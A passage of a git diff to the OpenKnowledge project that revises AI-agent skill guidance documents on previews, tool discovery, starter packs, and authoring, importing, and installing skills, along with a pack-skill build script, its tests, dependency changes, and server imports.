+- **All-greenfield-already** (Phase 1 step 6): folder frontmatter exists AND templates exist for every substantial folder → exit with "this project is already configured."
+- **Server down** (Phase 5 step 0): Phases 1-4 already applied fs-direct; surface "the link-graph phase needs `ok start` running" and exit cleanly — resuming picks up at Phase 5.
+- **User aborts at any STOP gate** → exit cleanly, leaving any already-applied proposals in place (apply is per-phase, not all-or-nothing).
+- **Validation failure** (Phase 6) → don't pretend to succeed; surface the failed step to the user.
diff --git a/packages/server/assets/skills/project/references/preview.md b/packages/server/assets/skills/project/references/preview.md
index a0548d71b..5e602c2d1 100644
--- a/packages/server/assets/skills/project/references/preview.md
+++ b/packages/server/assets/skills/project/references/preview.md
@@ -57,7 +57,7 @@ Warnings fire at most once per session in the fresh-start case.
**Re-point at the end of a multi-doc workflow; don't claim a doc is on screen unless you put it there.** The one-shot attach (signal 3) opens the preview *once* — later writes do NOT move the pane; it stays on the doc you last navigated to. When a turn touches several docs, finish by navigating the preview to the doc the user should land on, using your host's move mechanism (`preview_url` → navigate your in-app browser; honor `autoOpen`). Until you have navigated there *this* turn, don't tell the user a doc is "open" / "on screen" — at most, say the preview may still be on the doc you opened earlier.
-**`previewUrl: null` only means "no UI reachable" on the two attach-warning tools: `write` / `edit`.** Workflow tools return prose and don't carry `previewUrl`. `delete` / `move` emit `previousPreviewUrl` (different field, for closing stale tabs) and don't fire attach warnings. `preview_url` auto-starts the backend on demand (same `OK_MCP_AUTOSTART` gate as writes; a cold first call can take seconds) and reports `running: false` + `url: null` only when no UI could be reached — its hint names the right command.
+**`previewUrl: null` only means "no UI reachable" on the two attach-warning tools: `write` / `edit`.** `delete` / `move` emit `previousPreviewUrl` (different field, for closing stale tabs) and don't fire attach warnings. `preview_url` auto-starts the backend on demand (same `OK_MCP_AUTOSTART` gate as writes; a cold first call can take seconds) and reports `running: false` + `url: null` only when no UI could be reached — its hint names the right command.
If you see `"Hocuspocus server is not running"`, run `ok start` and retry.
diff --git a/packages/server/assets/skills/project/references/setup.md b/packages/server/assets/skills/project/references/setup.md
index addf823a9..874a0a747 100644
--- a/packages/server/assets/skills/project/references/setup.md
+++ b/packages/server/assets/skills/project/references/setup.md
@@ -24,3 +24,9 @@ ok start
## Rung 3 — Desktop app, optional
For a native editor with the file tree, property panel, and built-in preview, install the OK Desktop app. The quickstart link above has the current download — it tracks the latest release, so grab it there rather than from a pinned URL.
+
+## Tool visibility — before you conclude the MCP is missing
+
+**MCP tool visibility — not seeing `exec` is NOT the escape hatch.** MCP wiring varies by client (Claude Code, Cursor, Codex, Windsurf, VS Code). Server labels are user-defined; tools may not appear as top-level symbols named `exec`. If OpenKnowledge is registered as an MCP server here, route markdown reads through its `exec` / `search` via your client's documented MCP invocation (including any generic "call MCP tool" flow). Registration is the test, not top-level-symbol visibility.
+
+**Your initial tool list is NOT exhaustive — run tool discovery before concluding the MCP is missing.** Some clients (notably Codex) defer MCP tools behind a lazy `tool_search` / tool-discovery step, so `mcp__open-knowledge__*` is absent from the upfront tool set and only appears after you search for it. Absence from the visible list means "I have not discovered it yet," NOT "it is not registered." If you don't see the tools, your first move is to run your client's tool-discovery / `tool_search` for `open-knowledge` (or `exec` / `search` / `write`) — do not infer unavailability from the initial list.
diff --git a/packages/server/assets/skills/project/references/starter-packs.md b/packages/server/assets/skills/project/references/starter-packs.md
new file mode 100644
index 000000000..10922d655
--- /dev/null
+++ b/packages/server/assets/skills/project/references/starter-packs.md
@@ -0,0 +1,41 @@
+# Knowledge layers + starter packs — depth
+
+(Core carries the layer table. This file carries the operating detail.)
+
+## The layer model
+
+Three of the layers correspond to [Karpathy's three-layer knowledge-base pattern](https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f): **ingest** (raw sources, immutable) → **research** (wiki, provisional) → **consolidate** (wiki, canonical). Onboarding an existing repo operates one level up, at the project-metadata layer, and is the brownfield counterpart to the greenfield `ok seed` CLI.
+
+Typical day-2 flow: user shares a URL → ingest (preserve) → user asks "now research this" → research (provisional article; ingests more sources as needed) → decision lands → consolidate (canonical article, supersedes the research).
+
+**None of these are MCP tools.** They are procedures that ship as skill guidance, in one of two shapes: a **reference file** inside a skill's bundle, which you open by path once that skill is loaded; or a **skill of its own**, which loads on description match when its pack is seeded.
+
+- ingest → reference file `ingest-and-sources.md`, here in this bundle. Ships with every `ok init` because Core's Grounding rule depends on it, pack or no pack.
+- onboard a repo that already has content → reference file `onboard-existing-repo.md`, here in this bundle.
+- research / consolidate → their own skills, `open-knowledge-pack-knowledge-base-research` and `open-knowledge-pack-knowledge-base-consolidate`, installed alongside their pack by `ok seed --pack knowledge-base`. **Not available otherwise** — if the pack isn't seeded, say so rather than improvising a lookalike pipeline.
+- generate / refresh a codebase wiki → reference file `generate-and-refresh.md`, inside the `open-knowledge-pack-codebase-wiki` skill's bundle and readable once that skill loads. Installed by `ok seed --pack codebase-wiki`.
+
+Read the relevant procedure and execute its numbered steps with the OK verbs; don't skip its STOP gates.
+
+**Autonomy gates vs session-level autonomy.** A procedure's STOP gates (research's scoping gate, consolidate's decision-confirmation gate) are not overridden by session-level "work without stopping for clarifying questions" hints. The session-level hint covers trivial back-and-forth ("which file did you mean?"); the gates exist for one-way-door decisions where the procedure deliberately wants confirmation before continuing. When in doubt, treat the gate as authoritative and the session-level autonomy hint as a default for the in-between turns.
+
+**Do not chain silently.** After ingest, ask the user whether to proceed to research. After research, let the user decide whether the findings are ready to consolidate. Each procedure completes on its own terms — the user drives the transitions.
+
+**Project scaffolding — two paths.** **Empty repo:** run `ok seed` once from a terminal (scaffolds the layout + seeds `log.md` + folder defaults). **Existing content:** work through `onboard-existing-repo.md`. Neither is required; the layer procedures work against any folder structure. Only mention each when explicitly relevant.
+
+## Starter packs — reference for inspiration
+
+The `ok` CLI (a Bash surface beside the MCP tools; other verbs `ok start` / `ok open` are documented in the core) ships proven layouts you can study to build a *similar* structure of your own — adapt the idea, don't clone the pack:
+
+- `knowledge-base` — source-grounded research articles
+- `software-lifecycle` — proposals, decisions, specs
+- `codebase-wiki` — agent-authored wiki of your codebase
+- `plain-notes` — notes + daily journal
+- `worldbuilding` — fiction story wiki
+- `writing-pipeline` — drafts → published
+- `entity-vault` — people / companies / meetings (personal CRM)
+- `okf` — Open Knowledge Format–conformant base
+
+A pack that ships skills installs them project-local when seeded. Those skills are where the pack's procedures live; a pack may ship one skill or several.
+
+To reference one **without installing it**: `ok seed --list-packs` (the menu) → `ok seed --pack <name> --dry-run` (its folders + the *why* of each folder + templates; writes nothing). Then either adapt the ideas into your own folders (`write({ folder })` + a template) or adopt the pack as-is by re-running without `--dry-run`. Reach for this when a user wants structure and an archetype fits — propose a tailored variant, not a verbatim copy.
diff --git a/packages/server/assets/skills/project/references/workflow-guides.md b/packages/server/assets/skills/project/references/workflow-guides.md
deleted file mode 100644
index 1fcd9d8aa..000000000
--- a/packages/server/assets/skills/project/references/workflow-guides.md
+++ /dev/null
@@ -1,30 +0,0 @@
-# Workflow tools — depth
-
-(Core carries the dispatch table + "these are your default move". This file carries the operating detail.)
-
-One MCP tool — `workflow` — builds on the read/write primitives, dispatched on `kind`. **It returns *procedural guidance* (a multi-step instructional body), not fetched data.** Calling `workflow({ kind: 'ingest', source: "https://…" })` does not download and write a doc for you — it returns a multi-step plan you then execute. Same for the `research` / `consolidate` / `discover` kinds. Plan to follow the numbered steps in order; don't skip the STOP gates.
-
-Three kinds correspond to [Karpathy's three-layer knowledge-base pattern](https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f) (`ingest` / `research` / `consolidate`); the fourth (`discover`) operates at the project-metadata layer and is the brownfield counterpart to the greenfield `ok seed` CLI.
-
-Typical day-2 flow: user shares a URL → `ingest` (preserve) → user asks "now research this" → `research` (provisional article + `ingest`s more sources as needed) → decision lands → `consolidate` (canonical article, supersedes the research).
-
-**Autonomy gates vs session-level autonomy.** Per-tool STOP gates (e.g. `research`'s scoping gate, `consolidate`'s decision-confirmation gate) are not overridden by session-level "work without stopping for clarifying questions" hints. The session-level hint covers trivial back-and-forth ("which file did you mean?"); per-tool gates exist for 1-way-door decisions where the tool deliberately wants confirmation before continuing. When in doubt, treat the per-tool gate as authoritative and the session-level autonomy hint as a default for the in-between turns.
-
-**Do not chain silently.** After `ingest`, ask the user whether to proceed to `research`. After `research`, let the user decide whether the findings are ready to `consolidate`. Each tool completes on its own terms — the user drives the transitions.
-
-**Repeat invocations.** The `workflow` tool returns its full instructional body on every call, including 2nd / 3rd / Nth invocation in the same session. If you've already received a tool's body earlier this session, you can skim the repeat for changes (the body can evolve across server versions) but you don't need to re-internalize it — proceed to the next step with the new arguments.
-
-**Project scaffolding — two paths.** **Empty repo:** run `ok seed` once from a terminal (scaffolds the layout + seeds `log.md` + folder defaults). **Existing content:** invoke `workflow({ kind: 'discover' })`. Neither is required; the four workflow kinds work against any folder structure. Only mention each when explicitly relevant.
-
-**Starter packs — reference for inspiration.** The `ok` CLI (a Bash surface beside the MCP tools; other verbs `ok start` / `ok open` are documented in the core) ships proven layouts you can study to build a *similar* structure of your own — adapt the idea, don't clone the pack:
-
-- `knowledge-base` — source-grounded research articles
-- `software-lifecycle` — proposals, decisions, specs
-- `codebase-wiki` — agent-authored wiki of your codebase
-- `plain-notes` — notes + daily journal
-- `worldbuilding` — fiction story wiki
-- `writing-pipeline` — drafts → published
-- `entity-vault` — people / companies / meetings (personal CRM)
-- `okf` — Open Knowledge Format–conformant base
-
-To reference one **without installing it**: `ok seed --list-packs` (the menu) → `ok seed --pack <name> --dry-run` (its folders + the *why* of each folder + templates; writes nothing). Then either adapt the ideas into your own folders (`write({ folder })` + a template) or adopt the pack as-is by re-running without `--dry-run`. Reach for this when a user wants structure and an archetype fits — propose a tailored variant, not a verbatim copy.
diff --git a/packages/server/assets/skills/write-skill/SKILL.md b/packages/server/assets/skills/write-skill/SKILL.md
index e91799407..d54ef1545 100644
--- a/packages/server/assets/skills/write-skill/SKILL.md
+++ b/packages/server/assets/skills/write-skill/SKILL.md
@@ -3,7 +3,6 @@ name: open-knowledge-write-skill
description: "Use when the user wants to create, author, write, or design a new Agent Skill (a SKILL.md) — for OpenKnowledge or for their editors — including requests like 'help me write a skill', 'make a skill that…', 'turn this workflow into a skill', or improving an existing skill's triggering and discipline. Also use when capturing reusable agent guidance that should live as an installable skill rather than a one-off prompt. Covers choosing scope (project vs global), the SKILL.md frontmatter contract, progressive-disclosure structure, evaluating the skill, and installing it into the user's editors."
compatibility: "OpenKnowledge project recommended (uses the `write` / `edit` / `install` MCP verbs). Authoring + validation are pure file ops; live preview + eval want a running server (`ok start`)."
metadata:
- version: "0.45.1"
author: "Inkeep"
repository: "https://github.com/inkeep/open-knowledge"
---
@@ -23,14 +22,35 @@ it says. Work the stages below in order, but jump to where the user already is.
## Stage 1 — Capture intent and classify the skill
-**Gate — does this already exist? Check BEFORE you build.** Scan the installed
-skills (the host surfaces the full catalog when this skill loads) for one whose
-role or triggers already cover the task. If an existing skill covers most of it,
-STOP and **recommend reuse** — a near-duplicate with overlapping triggers
-mis-fires and dilutes both. Build a new skill only when it is genuinely distinct,
-or a deliberately tighter companion whose `description` explicitly hands off to
-the existing one. Surface the overlap and decide WITH the user before drafting or
-writing anything — never discover it after the skill is written.
+**Gate — does this already exist? Check BEFORE you build.** First list managed
+skills with `skills({})`, then read any likely match with `skills({ name })`;
+these are the Project/Global skills OpenKnowledge already manages. Also search
+the public marketplace with `skills({ query: "<2-4 trigger words>" })` before
+drafting when the task sounds reusable beyond this project. Each marketplace row
+returns `name`, `source`, and `description`; inspect the strongest descriptions,
+then import a chosen candidate with `import({ source, skill: name, add: [...] })` and adapt
+it only if reuse is the right call. Use the Vercel `find-skills` skill,
+`npx skills find <query>`, or manual skills.sh search only when the OK MCP
+`skills({ query })` path is unavailable. If the user already has a skills.sh page
+open, pass the full skill-page URL as `source`, e.g.
+`import({ source: "https://www.skills.sh/<publisher>/skills/<skill>", add: [...] })`. Do not
+run `npx skills add` as the
+default install path in this flow: import through OpenKnowledge
+(`import({ source, skill, add })`) so the skill lands as a real folder with
+provenance, versioning, and managed fan-out; `add` says where it goes, and
+`install` afterwards changes where it lives. Use 2-4 concrete trigger phrases from the user's request plus
+the domain or tool name, then open/read the strongest candidates' descriptions
+before judging. If an existing or public skill covers most of it, STOP and
+**recommend reuse** — a near-duplicate with overlapping triggers mis-fires and
+dilutes both. If a public skill is close but not exact, decide WITH the user
+whether to import/adapt it into OpenKnowledge, install it outside OK with the
+Skills CLI, or write a narrower companion whose `description` explicitly hands
+off to it. Build a new skill only when it is genuinely distinct. Surface the
+overlap and the installed-skill plus marketplace search outcome before drafting
+or writing anything. This is a disclosure gate: tell the user what you checked,
+what matched, and why reuse/import/adapt/new-skill is the right next step. Never
+discover overlap after the skill is written. If `skills({ query })` / skills.sh
+is unreachable, say so plainly and continue with the installed-skill check.
Ask only what you can't infer:
@@ -47,13 +67,13 @@ Ask only what you can't infer:
## Stage 2 — Resolve scope FIRST (never infer silently)
-Scope determines where the skill lives and where `install` projects it. This is
+Scope determines where the skill lives and where `install` fans it. This is
the user's decision and has different blast radius — make it explicit.
-| Scope | Lives in | `install` projects to |
+| Scope | Lives in | `install` fans it to |
| --- | --- | --- |
-| **Global** | `~/.ok/skills/<name>/` (your user store) | your editors, in **every** project |
-| **Project** | `<kb>/.ok/skills/<name>/` (this KB, shared via git) | this project's editors; teammates get it on `git pull` |
+| **Global** | a real folder under your home's skill roots (e.g. `~/.claude/skills/<name>/`) | your editors, in **every** project |
+| **Project** | a real folder in this repo's skill roots (e.g. `.claude/skills/<name>/` or the `.agents/skills/` hub — shared via git) | this project's editors; teammates get it on `git pull` |
Default heuristic: inside an OK project and the task is specific to it → **project**;
"for all my work / globally" → **global**; otherwise ask one question. State the
@@ -80,10 +100,10 @@ choice and its consequence before writing.
Before writing the skill, run the scenario WITHOUT it and capture what the agent
does wrong — verbatim, including its rationalizations ("the test is trivial so I
skipped it"). Those rationalizations are the exact loopholes the skill body must
-close. If you have a running server, use the agent simulator
-(`cd packages/app && pnpm exec tsx src/server/agent-sim.ts`) as the executor; otherwise
-reason through the baseline transcript with the user. Skip this stage for plain
-reference skills.
+close. Run the scenario in a fresh agent session with the skill absent — a new
+chat, a sub-agent, or a second terminal — and keep the transcript; if you have no
+way to run it clean, reason through the baseline with the user instead. Skip this
+stage for plain reference skills.
## Stage 5 — Draft the skill
@@ -149,26 +169,47 @@ load the skill. Get it right (`references/description-optimization.md`):
- Sanity-check against near-miss queries: phrasings that SHOULD trigger it and
adjacent ones that should NOT.
-## Stage 8 — Install (the deliberate Draft → Installed step)
+## Stage 8 — Install (choose where it's available)
-Drafting doesn't change the agent's behavior until you project it:
+The skill is already live for whichever agent reads the folder it was created
+in — its own folder IS the skill (there is no draft state). `install` manages
+WHERE ELSE it is available, additively:
```
-install({ name: "<name>" })
+install({ name: "<name>", add: ["codex", "opencode"] }) // add locations
+install({ name: "<name>", remove: ["codex"] }) // remove locations
+install({ name: "<name>", add: ["codex"], mode: "link" }) // ...as a symlink
+install({ name: "<name>", convert: ["codex"], mode: "copy" }) // change one location's form
+install({ name: "<name>", source: ".team/skills" }) // move the real folder (run alone)
```
-This fans the validated skill into the project's configured editors
-(`.claude/skills/`, `.cursor/skills/`, `.codex/skills/`, `.opencode/skills/`, `.pi/skills/`). For a project skill,
-commit `.ok/skills/<name>/` and the projections so teammates get it on pull. Edit
-later with `edit({ skill })` then `install` again; `delete({ skill })` removes it
-and uninstalls. Roll back a **project** skill with `history({ skill })` →
-`restore_version({ skill, version })` — global skills are unversioned in this
-build, so they have no history to restore.
+Location ids are editor host ids (`claude` … `pi`), `agents` (the
+vendor-neutral hub), or a custom root path like `.team/skills`.
+
+**Which form a location takes.** `mode` applies only to the locations the call
+names — those in `add`, or those in `convert` — and to nothing else. Omit it on
+`add` and the new location takes the form the skill already uses. There is no
+skill-wide mode: installing never rewrites a location you did not name.
+Changing an existing location is `convert`, which leaves membership alone; pass
+every location to make them uniform.
+
+**What each form means.** A symlink points at the source, so it cannot drift. A
+copy is its own folder and refreshes automatically from the source — until
+someone hand-edits it, at which point it forks and is never overwritten again.
+
+**Lifecycle.** Edit with `edit({ skill })`; it routes to the source and versions
+in place. There is no "uninstall everywhere" — removing every other location
+still leaves the source folder loading for its agent, and a skill stops existing
+only via `delete({ skill })`, which removes the source and every location. Roll
+a **project** skill back with `history({ skill })` → `restore_version({ skill,
+version })`; global skills are unversioned in this build. For a project skill,
+commit the skill folders — they are ordinary files in git, so teammates get them
+on pull.
## Reminders
- Prefer ONE good skill over many overlapping ones; split only when triggers diverge. (The Stage 1 gate is where you ENFORCE this — don't leave overlap to discover later.)
-- Scope is the only placement decision — don't fold harness/format/toolchain assumptions into it, and don't bake one into the scope question's wording. You are authoring an OpenKnowledge skill: write it with `write({ skill })` and project it with `install`; never hand-write skill files into editor dirs (`.claude/skills/`, `.cursor/skills/`, `.codex/skills/`) — `install` owns those and overwrites them. If you load this flow, author through it.
+- Scope is the only placement decision — don't fold harness/format/toolchain assumptions into it, and don't bake one into the scope question's wording. You are authoring an OpenKnowledge skill: create it with `write({ skill })` — it lands as a real folder at the project's default skill home with attribution and versioning — and fan it out with `install`; don't hand-scatter copies across editor dirs, because `install` owns fan-out and refreshes unedited copies from the source (a hand-edited copy forks and stops refreshing). If you load this flow, author through it.
- Ground claims about how skills behave (versioning, install targets, scope semantics) in this guide or the tool descriptions — don't assert system facts from assumption.
- Avoid blanket ALWAYS/NEVER rules without a stated reason — they read as noise and
get ignored. Explain the why.
diff --git a/packages/server/assets/skills/write-skill/references/pressure-testing.md b/packages/server/assets/skills/write-skill/references/pressure-testing.md
index fe1e2d98c..cf1d2f769 100644
--- a/packages/server/assets/skills/write-skill/references/pressure-testing.md
+++ b/packages/server/assets/skills/write-skill/references/pressure-testing.md
@@ -33,8 +33,9 @@ A short table the agent reads when tempted:
## Running it
-With a server: drive the scenarios through the agent simulator
-(`cd packages/app && pnpm exec tsx src/server/agent-sim.ts`). Without one: walk the
-pressured prompt with the user and read the response for the rule holding.
+Drive each scenario through a fresh agent session (a new chat, a sub-agent, or a
+second terminal) so nothing from this conversation leaks in. If you cannot run
+one, walk the pressured prompt with the user and read the response for the rule
+holding.
Read the full transcript, not just the final answer — discipline fails in the
reasoning, not always in the output.
diff --git a/packages/server/package.json b/packages/server/package.json
index 7cf017740..6c3f56ee5 100644
--- a/packages/server/package.json
+++ b/packages/server/package.json
@@ -58,6 +58,7 @@
"ws": "^8.20.0",
"y-protocols": "^1.0.7",
"yaml": "^2.7.1",
+ "yauzl": "^3.2.0",
"yazl": "^3.3.1",
"yjs": "^13.6.30",
"zod": "^4.3.6"
@@ -74,9 +75,10 @@
"devDependencies": {
"@types/mdast": "^4.0.4",
"@types/shell-quote": "^1.7.5",
- "lib0": "^0.2.117",
"@types/ws": "^8.18.1",
+ "@types/yauzl": "^2.10.3",
"@types/yazl": "^2.4.6",
+ "lib0": "^0.2.117",
"ts-morph": "^28.0.0",
"tsdown": "^0.21.7",
"typescript": "^5.9.3"
diff --git a/packages/server/scripts/build-skill-bundles.test.ts b/packages/server/scripts/build-skill-bundles.test.ts
index 8647f1a89..806cecd0f 100644
--- a/packages/server/scripts/build-skill-bundles.test.ts
+++ b/packages/server/scripts/build-skill-bundles.test.ts
@@ -221,12 +221,34 @@ describe('buildPackSkills', () => {
const packDir = join(paths.skillsDir, 'packs', 'demo-pack');
mkdirSync(packDir, { recursive: true });
writeFileSync(join(packDir, 'SKILL.md'), '# demo pack\n');
- expect(buildPackSkills(paths)).toEqual(['demo-pack']);
+ expect(buildPackSkills(paths)).toEqual(['open-knowledge-pack-demo-pack']);
const out = join(paths.distDir, 'packs', 'demo-pack', 'SKILL.md');
expect(existsSync(out)).toBe(true);
expect(readFileSync(out, 'utf-8')).toBe('# demo pack\n');
});
+ test('composes a decomposed pack — root skill plus every member SKILL.md', () => {
+ const paths = fixture({ discovery: '# d\n', project: '# p\n' });
+ const packDir = join(paths.skillsDir, 'packs', 'demo-pack');
+ mkdirSync(join(packDir, 'do-a-thing'), { recursive: true });
+ mkdirSync(join(packDir, 'references'), { recursive: true });
+ writeFileSync(join(packDir, 'SKILL.md'), '# demo pack\n');
+ writeFileSync(join(packDir, 'do-a-thing', 'SKILL.md'), '# do a thing\n');
+ writeFileSync(join(packDir, 'references', 'notes.md'), '# notes\n');
+
+ expect(buildPackSkills(paths)).toEqual([
+ 'open-knowledge-pack-demo-pack',
+ 'open-knowledge-pack-demo-pack-do-a-thing',
+ ]);
+ // dist keeps the nested layout verbatim — the installer and the public skills
+ // mirror both enumerate it from there.
+ const distPack = join(paths.distDir, 'packs', 'demo-pack');
+ expect(readFileSync(join(distPack, 'SKILL.md'), 'utf-8')).toBe('# demo pack\n');
+ expect(readFileSync(join(distPack, 'do-a-thing', 'SKILL.md'), 'utf-8')).toBe('# do a thing\n');
+ // `references/` carries no SKILL.md, so it rides along with the skill that owns it.
+ expect(existsSync(join(distPack, 'references', 'notes.md'))).toBe(true);
+ });
+
test('returns [] when there is no packs/ directory', () => {
expect(buildPackSkills(fixture({ discovery: '# d\n', project: '# p\n' }))).toEqual([]);
});
diff --git a/packages/server/scripts/build-skill-bundles.ts b/packages/server/scripts/build-skill-bundles.ts
index 27429292e..6310e6c52 100644
--- a/packages/server/scripts/build-skill-bundles.ts
+++ b/packages/server/scripts/build-skill-bundles.ts
@@ -29,9 +29,10 @@
*/
import { cpSync, existsSync, readdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
-import { dirname, join } from 'node:path';
+import { dirname, join, relative } from 'node:path';
import { fileURLToPath } from 'node:url';
import { BUNDLE_IDS, type BundleId } from '../src/skill-bundles.ts';
+import { enumeratePackSkills } from '../src/skill-pack-sources.ts';
// Re-export the canonical bundle-id list (single source: `skill-bundles.ts`) so
// existing consumers that import `BUNDLE_IDS` from this script keep working. The
@@ -134,14 +135,18 @@ export function buildSkillBundles(paths: SkillBundlePaths = defaultPaths()): Com
}
/**
- * Compose every per-pack skill (`packs/<id>/SKILL.md`) into the dist tree the
- * same way the named bundles are composed. Pack skills carry no `_shared`
- * placeholders today, so composition is an identity transform — but routing
- * them through `composeSkill` keeps them on the same mechanism, and (critically)
- * gets them INTO `dist/assets/skills/packs/<id>/` so the published CLI + desktop
- * bundles actually ship them. Without this, `resolveBundledSkillDir('packs/<id>')`
- * only resolves against the source tree (dev), and `ok seed`'s pack-skill
- * install silently no-ops in any built artifact. Returns the pack ids built.
+ * Compose every per-pack skill into the dist tree the same way the named bundles
+ * are composed. Pack skills carry no `_shared` placeholders today, so composition
+ * is an identity transform — but routing them through `composeSkill` keeps them
+ * on the same mechanism, and (critically) gets them INTO
+ * `dist/assets/skills/packs/<id>/` so the published CLI + desktop bundles actually
+ * ship them. Without this, `resolveBundledSkillDir('packs/<id>')` only resolves
+ * against the source tree (dev), and `ok seed`'s pack-skill install silently
+ * no-ops in any built artifact.
+ *
+ * A decomposed pack holds several `SKILL.md` files (root + one per member
+ * scenario dir); the dist tree keeps that nested layout verbatim, since the
+ * installer and the mirror both enumerate it. Returns the skill names built.
*/
export function buildPackSkills(paths: SkillBundlePaths = defaultPaths()): string[] {
const packsSrc = join(paths.skillsDir, 'packs');
@@ -151,17 +156,23 @@ export function buildPackSkills(paths: SkillBundlePaths = defaultPaths()): strin
for (const entry of readdirSync(packsSrc, { withFileTypes: true })) {
if (!entry.isDirectory()) continue;
const sourceDir = join(packsSrc, entry.name);
- const sourcePath = join(sourceDir, 'SKILL.md');
- if (!existsSync(sourcePath)) continue;
- const { composed } = composeSkill(readFileSync(sourcePath, 'utf-8'), resolve);
+ const skills = enumeratePackSkills(entry.name, sourceDir);
+ if (skills.length === 0) continue;
const outDir = join(paths.distDir, 'packs', entry.name);
- const outputPath = join(outDir, 'SKILL.md');
rmSync(outDir, { recursive: true, force: true });
- // Copy the full pack dir (seed content + any references) then overwrite the
- // composed SKILL.md — same completeness rule as the named bundles.
+ // Copy the full pack dir (seed content + any references + member skill dirs)
+ // then overwrite each composed SKILL.md — same completeness rule as the
+ // named bundles.
cpSync(sourceDir, outDir, { recursive: true });
- writeFileSync(outputPath, composed, 'utf-8');
- built.push(entry.name);
+ for (const skill of skills) {
+ const rel = relative(sourceDir, skill.sourceDir);
+ const { composed } = composeSkill(
+ readFileSync(join(skill.sourceDir, 'SKILL.md'), 'utf-8'),
+ resolve,
+ );
+ writeFileSync(join(outDir, rel, 'SKILL.md'), composed, 'utf-8');
+ built.push(skill.name);
+ }
}
return built;
}
diff --git a/packages/server/src/agent-presence.test.ts b/packages/server/src/agent-presence.test.ts
index 47db948e0..fcdfb1afd 100644
--- a/packages/server/src/agent-presence.test.ts
+++ b/packages/server/src/agent-presence.test.ts
@@ -444,7 +444,16 @@ describe('AgentPresenceBroadcaster', () => {
// Discover agent-write handlers via `applyAgentMarkdownWrite(` /
// `applyAgentUndo(` / `applyPatchToFm(` call sites.
- const handlerCallSites = src.match(/apply(?:AgentMarkdownWrite|AgentUndo|PatchToFm)\(/g) ?? [];
+ //
+ // `applyPatchToFm` also has non-doc uses — rewriting the frontmatter of a
+ // file on disk, with no CRDT write and no agent identity, so there is no
+ // presence to broadcast. Those sites carry the marker below, on the line
+ // before the call, and are not handlers. The marker suppresses discovery
+ // ONLY; it can't weaken the shape assertions for the real handlers.
+ const NOT_AN_AGENT_WRITE = 'presence-exempt: no CRDT write, no agent identity';
+ const handlerCallSites = [
+ ...src.matchAll(/apply(?:AgentMarkdownWrite|AgentUndo|PatchToFm)\(/g),
+ ].filter((m) => !src.slice(Math.max(0, m.index - 200), m.index).includes(NOT_AN_AGENT_WRITE));
const expectedCount = handlerCallSites.length;
expect(expectedCount).toBeGreaterThanOrEqual(5); // 3 write + 1 undo + 1 fm-patch
diff --git a/packages/server/src/api-extension.ts b/packages/server/src/api-extension.ts
index b0251807b..bc8220e5f 100644
--- a/packages/server/src/api-extension.ts
+++ b/packages/server/src/api-extension.ts
@@ -14,7 +14,9 @@ import {
createWriteStream,
type Dirent,
existsSync,
+ lstatSync,
mkdirSync,
+ mkdtempSync,
openSync,
readdirSync,
readFileSync,
@@ -26,7 +28,7 @@ import {
} from 'node:fs';
import { readdir, readFile, realpath, stat } from 'node:fs/promises';
import type { IncomingMessage, ServerResponse } from 'node:http';
-import { homedir } from 'node:os';
+import { homedir, tmpdir } from 'node:os';
import { basename, dirname, extname, isAbsolute, join, relative, resolve, sep } from 'node:path';
import { pipeline } from 'node:stream/promises';
import { setTimeout as wait } from 'node:timers/promises';
@@ -87,10 +89,12 @@ import {
DuplicatePathSuccessSchema,
detectFmRegion,
EDITOR_PROJECT_SKILL_ROOT,
+ EDITOR_USER_SKILL_ROOT,
type EditorId,
EmbedDetectSuccessSchema,
EmptyRequestSchema,
encodeShareUrl,
+ externalSkillLiveDocName,
FolderConfigGetSuccessSchema,
FolderConfigPutRequestSchema,
FolderConfigPutSuccessSchema,
@@ -109,10 +113,13 @@ import {
InstallSkillRequestSchema,
InstallSkillSuccessSchema,
instantiateDoc,
+ isDetectedSkillInProject,
isFrontmatterSchemaAsset,
isHiddenDocName,
isManagedArtifactDocName,
+ isSkillInstallTarget,
isValidAttachmentFolderPath,
+ LEGACY_SKILL_STORE_ROOT,
LINKABLE_ASSET_EXTENSIONS,
type LifecycleStatus,
LinkGraphSuccessSchema,
@@ -157,6 +164,7 @@ import {
mediaKindForSidebarAssetExtension,
normalizeAttachmentFolderPath,
OK_DIR,
+ OPENKNOWLEDGE_SKILLS_REPO,
OrphansSuccessSchema,
PageHeadingsSuccessSchema,
PagesSuccessSchema,
@@ -165,6 +173,7 @@ import {
PrincipalSuccessSchema,
type ProblemType,
parseFrontmatterRecord,
+ parseProjectSkillBundleDoc,
parseTemplateFile,
prependFrontmatter,
projectSkillContentDocName,
@@ -201,30 +210,53 @@ import {
ShareTargetStatusResponseSchema,
SKILL_NAME_REGEX,
SkillDeleteSuccessSchema,
+ SkillDetailSchema,
+ SkillDiscoverSchema,
+ SkillDuplicateRequestSchema,
+ SkillDuplicateSuccessSchema,
+ SkillEditExternalRequestSchema,
+ SkillEditExternalSuccessSchema,
SkillFileDeleteSuccessSchema,
SkillFileGetSuccessSchema,
SkillFilePutRequestSchema,
SkillFilePutSuccessSchema,
+ SkillFileRenameRequestSchema,
+ SkillFileRenameSuccessSchema,
SkillGetSuccessSchema,
+ type SkillHostIdArg,
+ type SkillImportBulkResult,
+ SkillImportRequestSchema,
+ SkillImportSuccessSchema,
SkillInstallRequestSchema,
SkillInstallStateSuccessSchema,
SkillInstallSuccessSchema,
type SkillInstallWarningCode,
SkillMoveRequestSchema,
+ SkillMoveScopeRequestSchema,
+ SkillMoveScopeSuccessSchema,
SkillMoveSuccessSchema,
+ SkillPreviewSchema,
SkillPutRequestSchema,
SkillPutSuccessSchema,
+ type SkillRefResolution,
+ SkillRefResolutionSchema,
+ SkillReimportRequestSchema,
+ SkillReimportSuccessSchema,
SkillRestoreRequestSchema,
SkillRestoreSuccessSchema,
+ SkillRevertRequestSchema,
+ SkillRevertSuccessSchema,
SkillScopeSchema,
+ SkillsImportBulkRequestSchema,
+ SkillsImportBulkSuccessSchema,
+ SkillsInstalledSuccessSchema,
SkillsListSuccessSchema,
+ SkillsSearchSuccessSchema,
SkillTargetsGetSuccessSchema,
SkillTargetsPutRequestSchema,
SkillTargetsPutSuccessSchema,
SkillUninstallRequestSchema,
SkillUninstallSuccessSchema,
- SkillUpdateRequestSchema,
- SkillUpdateSuccessSchema,
SuggestLinksSuccessSchema,
SYSTEM_DOC_NAME,
SyncConflictContentSuccessSchema,
@@ -275,10 +307,45 @@ import {
formatRenameSubject,
formatRollbackSubject,
resolveGitDirDetailed,
